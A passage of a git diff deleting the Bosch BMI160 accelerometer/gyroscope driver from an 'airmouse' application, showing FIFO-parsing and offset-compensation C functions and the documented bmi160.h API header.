dev->fifo->data[data_start_index++]; - aux_data->data[6] = dev->fifo->data[data_start_index++]; - aux_data->data[7] = dev->fifo->data[data_start_index++]; -} - -/*! - * @brief This API is used to parse the aux data from the - * FIFO data in header mode. - */ -static void extract_aux_header_mode( - struct bmi160_aux_data* aux_data, - uint8_t* aux_length, - const struct bmi160_dev* dev) { - uint8_t frame_header = 0; - uint16_t data_index; - uint8_t aux_index = 0; - - for(data_index = dev->fifo->aux_byte_start_idx; data_index < dev->fifo->length;) { - /* extracting Frame header */ - frame_header = (dev->fifo->data[data_index] & BMI160_FIFO_TAG_INTR_MASK); - - /*Index is moved to next byte where the data is starting*/ - data_index++; - switch(frame_header) { - /* Aux frame */ - case BMI160_FIFO_HEAD_M: - case BMI160_FIFO_HEAD_M_A: - case BMI160_FIFO_HEAD_M_G: - case BMI160_FIFO_HEAD_M_G_A: - unpack_aux_frame(aux_data, &data_index, &aux_index, frame_header, dev); - break; - case BMI160_FIFO_HEAD_G: - move_next_frame(&data_index, BMI160_FIFO_G_LENGTH, dev); - break; - case BMI160_FIFO_HEAD_G_A: - move_next_frame(&data_index, BMI160_FIFO_GA_LENGTH, dev); - break; - case BMI160_FIFO_HEAD_A: - move_next_frame(&data_index, BMI160_FIFO_A_LENGTH, dev); - break; - - /* Sensor time frame */ - case BMI160_FIFO_HEAD_SENSOR_TIME: - unpack_sensortime_frame(&data_index, dev); - break; - - /* Skip frame */ - case BMI160_FIFO_HEAD_SKIP_FRAME: - unpack_skipped_frame(&data_index, dev); - break; - - /* Input config frame */ - case BMI160_FIFO_HEAD_INPUT_CONFIG: - move_next_frame(&data_index, 1, dev); - break; - case BMI160_FIFO_HEAD_OVER_READ: - - /* Update the data index as complete in case - * of over read */ - data_index = dev->fifo->length; - break; - default: - - /* Update the data index as complete in case of - * getting other headers like 0x00 */ - data_index = dev->fifo->length; - break; - } - if(*aux_length == aux_index) { - /*Number of frames to read completed*/ - break; - } - } - - /* Update number of aux data read */ - *aux_length = aux_index; - - /* Update the aux frame index */ - dev->fifo->aux_byte_start_idx = data_index; -} - -/*! - * @brief This API checks the presence of non-valid frames in the read fifo data. - */ -static void check_frame_validity(uint16_t* data_index, const struct bmi160_dev* dev) { - if((*data_index + 2) < dev->fifo->length) { - /* Check if FIFO is empty */ - if((dev->fifo->data[*data_index] == FIFO_CONFIG_MSB_CHECK) && - (dev->fifo->data[*data_index + 1] == FIFO_CONFIG_LSB_CHECK)) { - /*Update the data index as complete*/ - *data_index = dev->fifo->length; - } - } -} - -/*! - * @brief This API is used to move the data index ahead of the - * current_frame_length parameter when unnecessary FIFO data appears while - * extracting the user specified data. - */ -static void move_next_frame( - uint16_t* data_index, - uint8_t current_frame_length, - const struct bmi160_dev* dev) { - /*Partial read, then move the data index to last data*/ - if((*data_index + current_frame_length) > dev->fifo->length) { - /*Update the data index as complete*/ - *data_index = dev->fifo->length; - } else { - /*Move the data index to next frame*/ - *data_index = *data_index + current_frame_length; - } -} - -/*! - * @brief This API is used to parse and store the sensor time from the - * FIFO data in the structure instance dev. - */ -static void unpack_sensortime_frame(uint16_t* data_index, const struct bmi160_dev* dev) { - uint32_t sensor_time_byte3 = 0; - uint16_t sensor_time_byte2 = 0; - uint8_t sensor_time_byte1 = 0; - - /*Partial read, then move the data index to last data*/ - if((*data_index + BMI160_SENSOR_TIME_LENGTH) > dev->fifo->length) { - /*Update the data index as complete*/ - *data_index = dev->fifo->length; - } else { - sensor_time_byte3 = dev->fifo->data[(*data_index) + BMI160_SENSOR_TIME_MSB_BYTE] << 16; - sensor_time_byte2 = dev->fifo->data[(*data_index) + BMI160_SENSOR_TIME_XLSB_BYTE] << 8; - sensor_time_byte1 = dev->fifo->data[(*data_index)]; - - /* Sensor time */ - dev->fifo->sensor_time = - (uint32_t)(sensor_time_byte3 | sensor_time_byte2 | sensor_time_byte1); - *data_index = (*data_index) + BMI160_SENSOR_TIME_LENGTH; - } -} - -/*! - * @brief This API is used to parse and store the skipped_frame_count from - * the FIFO data in the structure instance dev. - */ -static void unpack_skipped_frame(uint16_t* data_index, const struct bmi160_dev* dev) { - /*Partial read, then move the data index to last data*/ - if(*data_index >= dev->fifo->length) { - /*Update the data index as complete*/ - *data_index = dev->fifo->length; - } else { - dev->fifo->skipped_frame_count = dev->fifo->data[*data_index]; - - /*Move the data index*/ - *data_index = (*data_index) + 1; - } -} - -/*! - * @brief This API is used to get the FOC status from the sensor - */ -static int8_t get_foc_status(uint8_t* foc_status, struct bmi160_dev const* dev) { - int8_t rslt; - uint8_t data; - - /* Read the FOC status from sensor */ - rslt = bmi160_get_regs(BMI160_STATUS_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - /* Get the foc_status bit */ - *foc_status = BMI160_GET_BITS(data, BMI160_FOC_STATUS); - } - - return rslt; -} - -/*! - * @brief This API is used to configure the offset enable bits in the sensor - */ -static int8_t - configure_offset_enable(const struct bmi160_foc_conf* foc_conf, struct bmi160_dev const* dev) { - int8_t rslt; - uint8_t data; - - /* Null-pointer check */ - rslt = null_ptr_check(dev); - if(rslt != BMI160_OK) { - rslt = BMI160_E_NULL_PTR; - } else { - /* Read the FOC config from the sensor */ - rslt = bmi160_get_regs(BMI160_OFFSET_CONF_ADDR, &data, 1, dev); - if(rslt == BMI160_OK) { - /* Set the offset enable/disable for gyro */ - data = BMI160_SET_BITS(data, BMI160_GYRO_OFFSET_EN, foc_conf->gyro_off_en); - - /* Set the offset enable/disable for accel */ - data = BMI160_SET_BITS(data, BMI160_ACCEL_OFFSET_EN, foc_conf->acc_off_en); - - /* Set the offset config in the sensor */ - rslt = bmi160_set_regs(BMI160_OFFSET_CONF_ADDR, &data, 1, dev); - } - } - - return rslt; -} - -static int8_t trigger_foc(struct bmi160_offsets* offset, struct bmi160_dev const* dev) { - int8_t rslt; - uint8_t foc_status = BMI160_ENABLE; - uint8_t cmd = BMI160_START_FOC_CMD; - uint8_t timeout = 0; - uint8_t data_array[20]; - - /* Start the FOC process */ - rslt = bmi160_set_regs(BMI160_COMMAND_REG_ADDR, &cmd, 1, dev); - if(rslt == BMI160_OK) { - /* Check the FOC status*/ - rslt = get_foc_status(&foc_status, dev); - - if((rslt != BMI160_OK) || (foc_status != BMI160_ENABLE)) { - while((foc_status != BMI160_ENABLE) && (timeout < 11)) { - /* Maximum time of 250ms is given in 10 - * steps of 25ms each - 250ms refer datasheet 2.9.1 */ - dev->delay_ms(25); - - /* Check the FOC status*/ - rslt = get_foc_status(&foc_status, dev); - timeout++; - } - - if((rslt == BMI160_OK) && (foc_status == BMI160_ENABLE)) { - /* Get offset values from sensor */ - rslt = bmi160_get_offsets(offset, dev); - } else { - /* FOC failure case */ - rslt = BMI160_E_FOC_FAILURE; - } - } - - if(rslt == BMI160_OK) { - /* Read registers 0x04-0x17 */ - rslt = bmi160_get_regs(BMI160_GYRO_DATA_ADDR, data_array, 20, dev); - } - } - - return rslt; -} diff --git a/applications/external/airmouse/tracking/imu/bmi160.h b/applications/external/airmouse/tracking/imu/bmi160.h deleted file mode 100644 index d4d98094c..000000000 --- a/applications/external/airmouse/tracking/imu/bmi160.h +++ /dev/null @@ -1,992 +0,0 @@ -/** -* Copyright (c) 2021 Bosch Sensortec GmbH. All rights reserved. -* -* BSD-3-Clause -* -* Redistribution and use in source and binary forms, with or without -* modification, are permitted provided that the following conditions are met: -* -* 1. Redistributions of source code must retain the above copyright -* notice, this list of conditions and the following disclaimer. -* -* 2. Redistributions in binary form must reproduce the above copyright -* notice, this list of conditions and the following disclaimer in the -* documentation and/or other materials provided with the distribution. -* -* 3. Neither the name of the copyright holder nor the names of its -* contributors may be used to endorse or promote products derived from -* this software without specific prior written permission. -* -* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS -* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE -* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) -* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, -* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING -* IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -* POSSIBILITY OF SUCH DAMAGE. -* -* @file bmi160.h -* @date 2021-10-05 -* @version v3.9.2 -* -*/ - -/*! - * @defgroup bmi160 BMI160 - */ - -#ifndef BMI160_H_ -#define BMI160_H_ - -/*************************** C++ guard macro *****************************/ -#ifdef __cplusplus -extern "C" { -#endif - -#include "bmi160_defs.h" -#ifdef __KERNEL__ -#include -#else -#include -#include -#include -#endif - -/*********************** User function prototypes ************************/ - -/** - * \ingroup bmi160 - * \defgroup bmi160ApiInit Initialization - * @brief Initialize the sensor and device structure - */ - -/*! - * \ingroup bmi160ApiInit - * \page bmi160_api_bmi160_init bmi160_init - * \code - * int8_t bmi160_init(struct bmi160_dev *dev); - * \endcode - * @details This API is the entry point for sensor.It performs - * the selection of I2C/SPI read mechanism according to the - * selected interface and reads the chip-id of bmi160 sensor. - * - * @param[in,out] dev : Structure instance of bmi160_dev - * @note : Refer user guide for detailed info. - * - * @return Result of API execution status - * @retval Zero Success - * @retval Negative Error - */ -int8_t bmi160_init(struct bmi160_dev* dev); - -/** - * \ingroup bmi160 - * \defgroup bmi160ApiRegs Registers - * @brief Read data from the given register address of sensor - */ - -/*! - * \ingroup bmi160ApiRegs - * \page bmi160_api_bmi160_get_regs bmi160_get_regs - * \code - * int8_t bmi160_get_regs(uint8_t reg_addr, uint8_t *data, uint16_t len, const struct bmi160_dev *dev); - * \endcode - * @details This API reads the data from the given register address of sensor. - * - * @param[in] reg_addr : Register address from where the data to be read - * @param[out] data : Pointer to data buffer to store the read data. - * @param[in] len : No of bytes of data to be read. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @note For most of the registers auto address increment applies, with the - * exception of a few special registers, which trap the address. For e.g., - * Register address - 0x24(BMI160_FIFO_DATA_ADDR) - * - * @return Result of API execution status - * @retval Zero Success - * @retval Negative Error - */ -int8_t - bmi160_get_regs(uint8_t reg_addr, uint8_t* data, uint16_t len, const struct bmi160_dev* dev); - -/*! - * \ingroup bmi160ApiRegs - * \page bmi160_api_bmi160_set_regs bmi160_set_regs - * \code - * int8_t bmi160_set_regs(uint8_t reg_addr, uint8_t *data, uint16_t len, const struct bmi160_dev *dev); - * \endcode - * @details This API writes the given data to the register address - * of sensor. - * - * @param[in] reg_addr : Register address from where the data to be written. - * @param[in] data : Pointer to data buffer which is to be written - * in the sensor. - * @param[in] len : No of bytes of data to write.. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval Zero Success - * @retval Negative Error - */ -int8_t - bmi160_set_regs(uint8_t reg_addr, uint8_t* data, uint16_t len, const struct bmi160_dev* dev); - -/** - * \ingroup bmi160 - * \defgroup bmi160ApiSoftreset Soft reset - * @brief Perform soft reset of the sensor - */ - -/*! - * \ingroup bmi160ApiSoftreset - * \page bmi160_api_bmi160_soft_reset bmi160_soft_reset - * \code - * int8_t bmi160_soft_reset(struct bmi160_dev *dev); - * \endcode - * @details This API resets and restarts the device. - * All register values are overwritten with default parameters. - * - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval Zero Success - * @retval Negative Error - */ -int8_t bmi160_soft_reset(struct bmi160_dev* dev); - -/** - * \ingroup bmi160 - * \defgroup bmi160ApiConfig Configuration - * @brief Configuration of the sensor - */ - -/*! - * \ingroup bmi160ApiConfig - * \page bmi160_api_bmi160_set_sens_conf bmi160_set_sens_conf - * \code - * int8_t bmi160_set_sens_conf(struct bmi160_dev *dev); - * \endcode - * @details This API configures the power mode, range and bandwidth - * of sensor. - * - * @param[in] dev : Structure instance of bmi160_dev. - * @note : Refer user guide for detailed info. - * - * @return Result of API execution status - * @retval Zero Success - * @retval Negative Error - */ -int8_t bmi160_set_sens_conf(struct bmi160_dev* dev); - -/*! - * \ingroup bmi160ApiConfig - * \page bmi160_api_bmi160_get_sens_conf bmi160_get_sens_conf - * \code - * int8_t bmi160_get_sens_conf(struct bmi160_dev *dev); - * \endcode - * @details This API gets accel and gyro configurations. - * - * @param[out] dev : Structure instance of bmi160_dev. - * @note : Refer user guide for detailed info. - * - * @return Result of API execution status - * @retval Zero Success - * @retval Negative Error - */ -int8_t bmi160_get_sens_conf(struct bmi160_dev* dev); - -/** - * \ingroup bmi160 - * \defgroup bmi160ApiPowermode Power mode - * @brief Set / Get power mode of the sensor - */ - -/*! - * \ingroup bmi160ApiPowermode - * \page bmi160_api_bmi160_set_power_mode bmi160_set_power_mode - * \code - * int8_t bmi160_set_power_mode(struct bmi160_dev *dev); - * \endcode - * @details This API sets the power mode of the sensor. - * - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval Zero Success - * @retval Negative Error - */ -int8_t bmi160_set_power_mode(struct bmi160_dev* dev); - -/*! - * \ingroup bmi160ApiPowermode - * \page bmi160_api_bmi160_get_power_mode bmi160_get_power_mode - * \code - * int8_t bmi160_get_power_mode(struct bmi160_dev *dev); - * \endcode - * @details This API gets the power mode of the sensor. - * - * @param[in] dev : Structure instance of bmi160_dev - * - * @return Result of API execution status - * @retval Zero Success - * @retval Negative Error - */ -int8_t bmi160_get_power_mode(struct bmi160_dev* dev); - -/** - * \ingroup bmi160 - * \defgroup bmi160ApiData Sensor Data - * @brief Read sensor data - */ - -/*! - * \ingroup bmi160ApiData - * \page bmi160_api_bmi160_get_sensor_data bmi160_get_sensor_data - * \code - * int8_t bmi160_get_sensor_data(uint8_t select_sensor, - * struct bmi160_sensor_data *accel, - * struct bmi160_sensor_data *gyro, - * const struct bmi160_dev *dev); - * - * \endcode - * @details This API reads sensor data, stores it in - * the bmi160_sensor_data structure pointer passed by the user. - * The user can ask for accel data ,gyro data or both sensor - * data using bmi160_select_sensor enum - * - * @param[in] select_sensor : enum to choose accel,gyro or both sensor data - * @param[out] accel : Structure pointer to store accel data - * @param[out] gyro : Structure pointer to store gyro data - * @param[in] dev : Structure instance of bmi160_dev. - * @note : Refer user guide for detailed info. - * - * @return Result of API execution status - * @retval Zero Success - * @retval Negative Error - */ -int8_t bmi160_get_sensor_data( - uint8_t select_sensor, - struct bmi160_sensor_data* accel, - struct bmi160_sensor_data* gyro, - const struct bmi160_dev* dev); - -/** - * \ingroup bmi160 - * \defgroup bmi160ApiInt Interrupt configuration - * @brief Set interrupt configuration of the sensor - */ - -/*! - * \ingroup bmi160ApiInt - * \page bmi160_api_bmi160_set_int_config bmi160_set_int_config - * \code - * int8_t bmi160_set_int_config(struct bmi160_int_settg *int_config, struct bmi160_dev *dev); - * \endcode - * @details This API configures the necessary interrupt based on - * the user settings in the bmi160_int_settg structure instance. - * - * @param[in] int_config : Structure instance of bmi160_int_settg. - * @param[in] dev : Structure instance of bmi160_dev. - * @note : Refer user guide for detailed info. - * - * @return Result of API execution status - * @retval Zero Success - * @retval Negative Error - */ -int8_t bmi160_set_int_config(struct bmi160_int_settg* int_config, struct bmi160_dev* dev); - -/** - * \ingroup bmi160 - * \defgroup bmi160ApiStepC Step counter - * @brief Step counter operations - */ - -/*! - * \ingroup bmi160ApiStepC - * \page bmi160_api_bmi160_set_step_counter bmi160_set_step_counter - * \code - * int8_t bmi160_set_step_counter(uint8_t step_cnt_enable, const struct bmi160_dev *dev); - * \endcode - * @details This API enables the step counter feature. - * - * @param[in] step_cnt_enable : value to enable or disable - * @param[in] dev : Structure instance of bmi160_dev. - * @note : Refer user guide for detailed info. - * - * @return Result of API execution status - * @retval Zero Success - * @retval Negative Error - */ -int8_t bmi160_set_step_counter(uint8_t step_cnt_enable, const struct bmi160_dev* dev); - -/*! - * \ingroup bmi160ApiStepC - * \page bmi160_api_bmi160_read_step_counter bmi160_read_step_counter - * \code - * int8_t bmi160_read_step_counter(uint16_t *step_val, const struct bmi160_dev *dev); - * \endcode - * @details This API reads the step counter value. - * - * @param[in] step_val : Pointer to store the step counter value. - * @param[in] dev : Structure instance of bmi160_dev. - * @note : Refer user guide for detailed info. - * - * @return Result of API execution status - * @retval Zero Success - * @retval Negative Error - */ -int8_t bmi160_read_step_counter(uint16_t* step_val, const struct bmi160_dev* dev); - -/** - * \ingroup bmi160 - * \defgroup bmi160ApiAux Auxiliary sensor - * @brief Auxiliary sensor operations - */ - -/*! - * \ingroup bmi160ApiAux - * \page bmi160_api_bmi160_aux_read bmi160_aux_read - * \code - * int8_t bmi160_aux_read(uint8_t reg_addr, uint8_t *aux_data, uint16_t len, const struct bmi160_dev *dev); - * \endcode - * @details This API reads the mention no of byte of data from the given - * register address of auxiliary sensor. - * - * @param[in] reg_addr : Address of register to read. - * @param[in] aux_data : Pointer to store the read data. - * @param[in] len : No of bytes to read. - * @param[in] dev : Structure instance of bmi160_dev. - * @note : Refer user guide for detailed info. - * - * @return Result of API execution status - * @retval Zero Success - * @retval Negative Error - */ -int8_t bmi160_aux_read( - uint8_t reg_addr, - uint8_t* aux_data, - uint16_t len, - const struct bmi160_dev* dev); - -/*! - * \ingroup bmi160ApiAux - * \page bmi160_api_bmi160_aux_write bmi160_aux_write - * \code - * int8_t bmi160_aux_write(uint8_t reg_addr, uint8_t *aux_data, uint16_t len, const struct bmi160_dev *dev); - * \endcode - * @details This API writes the mention no of byte of data to the given - * register address of auxiliary sensor. - * - * @param[in] reg_addr : Address of register to write. - * @param[in] aux_data : Pointer to write data. - * @param[in] len : No of bytes to write. - * @param[in] dev : Structure instance of bmi160_dev. - * @note : Refer user guide for detailed info. - * - * @return Result of API execution status - * @retval Zero Success - * @retval Negative Error - */ -int8_t bmi160_aux_write( - uint8_t reg_addr, - uint8_t* aux_data, - uint16_t len, - const struct bmi160_dev* dev); - -/*! - * \ingroup bmi160ApiAux - * \page bmi160_api_bmi160_aux_init bmi160_aux_init - * \code - * int8_t bmi160_aux_init(const struct bmi160_dev *dev); - * \endcode - * @details This API initialize the auxiliary sensor - * in order to access it. - * - * @param[in] dev : Structure instance of bmi160_dev. - * @note : Refer user guide for detailed info. - * - * @return Result of API execution status - * @retval Zero Success - * @retval Negative Error - */ -int8_t bmi160_aux_init(const struct bmi160_dev* dev); - -/*! - * \ingroup bmi160ApiAux - * \page bmi160_api_bmi160_set_aux_auto_mode bmi160_set_aux_auto_mode - * \code - * int8_t bmi160_set_aux_auto_mode(uint8_t *data_addr, struct bmi160_dev *dev); - * \endcode - * @details This API is used to setup the auxiliary sensor of bmi160 in auto mode - * Thus enabling the auto update of 8 bytes of data from auxiliary sensor - * to BMI160 register address 0x04 to 0x0B - * - * @param[in] data_addr : Starting address of aux. sensor's data register - * (BMI160 registers 0x04 to 0x0B will be updated - * with 8 bytes of data from auxiliary sensor - * starting from this register address.) - * @param[in] dev : Structure instance of bmi160_dev. - * - * @note : Set the value of auxiliary polling rate by setting - * dev->aux_cfg.aux_odr to the required value from the table - * before calling this API - * - *@verbatim - * dev->aux_cfg.aux_odr | Auxiliary ODR (Hz) - * -----------------------|----------------------- - * BMI160_AUX_ODR_0_78HZ | 25/32 - * BMI160_AUX_ODR_1_56HZ | 25/16 - * BMI160_AUX_ODR_3_12HZ | 25/8 - * BMI160_AUX_ODR_6_25HZ | 25/4 - * BMI160_AUX_ODR_12_5HZ | 25/2 - * BMI160_AUX_ODR_25HZ | 25 - * BMI160_AUX_ODR_50HZ | 50 - * BMI160_AUX_ODR_100HZ | 100 - * BMI160_AUX_ODR_200HZ | 200 - * BMI160_AUX_ODR_400HZ | 400 - * BMI160_AUX_ODR_800HZ | 800 - *@endverbatim - * - * @note : Other values of dev->aux_cfg.aux_odr are reserved and not for use - * - * @return Result of API execution status - * @retval Zero Success - * @retval Negative Error - */ -int8_t bmi160_set_aux_auto_mode(uint8_t* data_addr, struct bmi160_dev* dev); - -/*! - * \ingroup bmi160ApiAux - * \page bmi160_api_bmi160_config_aux_mode bmi160_config_aux_mode - * \code - * int8_t bmi160_config_aux_mode(const struct bmi160_dev *dev); - * \endcode - * @details This API configures the 0x4C register and settings like - * Auxiliary sensor manual enable/ disable and aux burst read length. - * - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval Zero Success - * @retval Negative Error - */ -int8_t bmi160_config_aux_mode(const struct bmi160_dev* dev); - -/*! - * \ingroup bmi160ApiAux - * \page bmi160_api_bmi160_read_aux_data_auto_mode bmi160_read_aux_data_auto_mode - * \code - * int8_t bmi160_read_aux_data_auto_mode(uint8_t *aux_data, const struct bmi160_dev *dev); - * \endcode - * @details This API is used to read the raw uncompensated auxiliary sensor - * data of 8 bytes from BMI160 register address 0x04 to 0x0B - * - * @param[in] aux_data : Pointer to user array of length 8 bytes - * Ensure that the aux_data array is of - * length 8 bytes - * @param[in] dev : Structure instance of bmi160_dev - * - * @retval zero -> Success / -ve value -> Error - * @retval Zero Success - * @retval Negative Error - */ -int8_t bmi160_read_aux_data_auto_mode(uint8_t* aux_data, const struct bmi160_dev* dev); - -/** - * \ingroup bmi160 - * \defgroup bmi160ApiSelfTest Self test - * @brief Perform self test of the sensor - */ - -/*! - * \ingroup bmi160ApiSelfTest - * \page bmi160_api_bmi160_perform_self_test bmi160_perform_self_test - * \code - * int8_t bmi160_perform_self_test(uint8_t select_sensor, struct bmi160_dev *dev); - * \endcode - * @details This is used to perform self test of accel/gyro of the BMI160 sensor - * - * @param[in] select_sensor : enum to choose accel or gyro for self test - * @param[in] dev : Structure instance of bmi160_dev - * - * @note self test can be performed either for accel/gyro at any instant. - * - *@verbatim - * value of select_sensor | Inference - *----------------------------------|-------------------------------- - * BMI160_ACCEL_ONLY | Accel self test enabled - * BMI160_GYRO_ONLY | Gyro self test enabled - * BMI160_BOTH_ACCEL_AND_GYRO | NOT TO BE USED - *@endverbatim - * - * @note The return value of this API gives us the result of self test. - * - * @note Performing self test does soft reset of the sensor, User can - * set the desired settings after performing the self test. - * - * @return Result of API execution status - * @retval BMI160_OK Self test success - * @retval BMI160_W_GYRO_SELF_TEST_FAIL Gyro self test fail - * @retval BMI160_W_ACCEl_SELF_TEST_FAIL Accel self test fail - */ -int8_t bmi160_perform_self_test(uint8_t select_sensor, struct bmi160_dev* dev); - -/** - * \ingroup bmi160 - * \defgroup bmi160ApiFIFO FIFO - * @brief FIFO operations of the sensor - */ - -/*! - * \ingroup bmi160ApiFIFO - * \page bmi160_api_bmi160_get_fifo_data bmi160_get_fifo_data - * \code - * int8_t bmi160_get_fifo_data(struct bmi160_dev const *dev); - * \endcode - * @details This API reads data from the fifo buffer. - * - * @note User has to allocate the FIFO buffer along with - * corresponding fifo length from his side before calling this API - * as mentioned in the readme.md - * - * @note User must specify the number of bytes to read from the FIFO in - * dev->fifo->length , It will be updated by the number of bytes actually - * read from FIFO after calling this API - * - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval Zero Success - * @retval Negative Error - */ -int8_t bmi160_get_fifo_data(struct bmi160_dev const* dev); - -/*! - * \ingroup bmi160ApiFIFO - * \page bmi160_api_bmi160_set_fifo_flush bmi160_set_fifo_flush - * \code - * int8_t bmi160_set_fifo_flush(const struct bmi160_dev *dev); - * \endcode - * @details This API writes fifo_flush command to command register.This - * action clears all data in the Fifo without changing fifo configuration - * settings. - * - * @param[in] dev : Structure instance of bmi160_dev - * - * @return Result of API execution status - * @retval 0 -> Success - * @retval Any non zero value -> Fail - * - */ -int8_t bmi160_set_fifo_flush(const struct bmi160_dev* dev); - -/*! - * \ingroup bmi160ApiFIFO - * \page bmi160_api_bmi160_set_fifo_config bmi160_set_fifo_config - * \code - * int8_t bmi160_set_fifo_config(uint8_t config, uint8_t enable, struct bmi160_dev const *dev); - * \endcode - * @details This API sets the FIFO configuration in the sensor. - * - * @param[in] config : variable used to specify the FIFO - * configurations which are to be enabled or disabled in the sensor. - * - * @note : User can set either set one or more or all FIFO configurations - * by ORing the below mentioned macros. - * - *@verbatim - * config | Value - * ------------------------|--------------------------- - * BMI160_FIFO_TIME | 0x02 - * BMI160_FIFO_TAG_INT2 | 0x04 - * BMI160_FIFO_TAG_INT1 | 0x08 - * BMI160_FIFO_HEADER | 0x10 - * BMI160_FIFO_AUX | 0x20 - * BMI160_FIFO_ACCEL | 0x40 - * BMI160_FIFO_GYRO | 0x80 - *@endverbatim - * - * @param[in] enable : Parameter used to enable or disable the above - * FIFO configuration - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return status of bus communication result - * @retval 0 -> Success - * @retval Any non zero value -> Fail - * - */ -int8_t bmi160_set_fifo_config(uint8_t config, uint8_t enable, struct bmi160_dev const* dev); - -/*! - * \ingroup bmi160ApiFIFO - * \page bmi160_api_bmi160_set_fifo_down bmi160_set_fifo_down - * \code - * int8_t bmi160_set_fifo_down(uint8_t fifo_down, const struct bmi160_dev *dev); - * \endcode - * @details This API is used to configure the down sampling ratios of - * the accel and gyro data for FIFO.Also, it configures filtered or - * pre-filtered data for the fifo for accel and gyro. - * - * @param[in] fifo_down : variable used to specify the FIFO down - * configurations which are to be enabled or disabled in the sensor. - * - * @note The user must select one among the following macros to - * select down-sampling ratio for accel - * - *@verbatim - * config | Value - * -------------------------------------|--------------------------- - * BMI160_ACCEL_FIFO_DOWN_ZERO | 0x00 - * BMI160_ACCEL_FIFO_DOWN_ONE | 0x10 - * BMI160_ACCEL_FIFO_DOWN_TWO | 0x20 - * BMI160_ACCEL_FIFO_DOWN_THREE | 0x30 - * BMI160_ACCEL_FIFO_DOWN_FOUR | 0x40 - * BMI160_ACCEL_FIFO_DOWN_FIVE | 0x50 - * BMI160_ACCEL_FIFO_DOWN_SIX | 0x60 - * BMI160_ACCEL_FIFO_DOWN_SEVEN | 0x70 - *@endverbatim - * - * @note The user must select one among the following macros to - * select down-sampling ratio for gyro - * - *@verbatim - * config | Value - * -------------------------------------|--------------------------- - * BMI160_GYRO_FIFO_DOWN_ZERO | 0x00 - * BMI160_GYRO_FIFO_DOWN_ONE | 0x01 - * BMI160_GYRO_FIFO_DOWN_TWO | 0x02 - * BMI160_GYRO_FIFO_DOWN_THREE | 0x03 - * BMI160_GYRO_FIFO_DOWN_FOUR | 0x04 - * BMI160_GYRO_FIFO_DOWN_FIVE | 0x05 - * BMI160_GYRO_FIFO_DOWN_SIX | 0x06 - * BMI160_GYRO_FIFO_DOWN_SEVEN | 0x07 - *@endverbatim - * - * @note The user can enable filtered accel data by the following macro - * - *@verbatim - * config | Value - * -------------------------------------|--------------------------- - * BMI160_ACCEL_FIFO_FILT_EN | 0x80 - *@endverbatim - * - * @note The user can enable filtered gyro data by the following macro - * - *@verbatim - * config | Value - * -------------------------------------|--------------------------- - * BMI160_GYRO_FIFO_FILT_EN | 0x08 - *@endverbatim - * - * @note : By ORing the above mentioned macros, the user can select - * the required FIFO down config settings - * - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return status of bus communication result - * @retval 0 -> Success - * @retval Any non zero value -> Fail - * - */ -int8_t bmi160_set_fifo_down(uint8_t fifo_down, const struct bmi160_dev* dev); - -/*! - * \ingroup bmi160ApiFIFO - * \page bmi160_api_bmi160_set_fifo_wm bmi160_set_fifo_wm - * \code - * int8_t bmi160_set_fifo_wm(uint8_t fifo_wm, const struct bmi160_dev *dev); - * \endcode - * @details This API sets the FIFO watermark level in the sensor. - * - * @note The FIFO watermark is issued when the FIFO fill level is - * equal or above the watermark level and units of watermark is 4 bytes. - * - * @param[in] fifo_wm : Variable used to set the FIFO water mark level - * @param[in] dev : Structure instance of bmi160_dev - * - * @return Result of API execution status - * @retval 0 -> Success - * @retval Any non zero value -> Fail - * - */ -int8_t bmi160_set_fifo_wm(uint8_t fifo_wm, const struct bmi160_dev* dev); - -/*! - * \ingroup bmi160ApiFIFO - * \page bmi160_api_bmi160_extract_accel bmi160_extract_accel - * \code - * int8_t bmi160_extract_accel(struct bmi160_sensor_data *accel_data, uint8_t *accel_length, struct bmi160_dev const - **dev); - * \endcode - * @details This API parses and extracts the accelerometer frames from - * FIFO data read by the "bmi160_get_fifo_data" API and stores it in - * the "accel_data" structure instance. - * - * @note The bmi160_extract_accel API should be called only after - * reading the FIFO data by calling the bmi160_get_fifo_data() API. - * - * @param[out] accel_data : Structure instance of bmi160_sensor_data - * where the accelerometer data in FIFO is stored. - * @param[in,out] accel_length : Number of valid accelerometer frames - * (x,y,z axes data) read out from fifo. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @note accel_length is updated with the number of valid accelerometer - * frames extracted from fifo (1 accel frame = 6 bytes) at the end of - * execution of this API. - * - * @return Result of API execution status - * @retval 0 -> Success - * @retval Any non zero value -> Fail - * - */ -int8_t bmi160_extract_accel( - struct bmi160_sensor_data* accel_data, - uint8_t* accel_length, - struct bmi160_dev const* dev); - -/*! - * \ingroup bmi160ApiFIFO - * \page bmi160_api_bmi160_extract_gyro bmi160_extract_gyro - * \code - * int8_t bmi160_extract_gyro(struct bmi160_sensor_data *gyro_data, uint8_t *gyro_length, struct bmi160_dev const *dev); - * \endcode - * @details This API parses and extracts the gyro frames from - * FIFO data read by the "bmi160_get_fifo_data" API and stores it in - * the "gyro_data" structure instance. - * - * @note The bmi160_extract_gyro API should be called only after - * reading the FIFO data by calling the bmi160_get_fifo_data() API. - * - * @param[out] gyro_data : 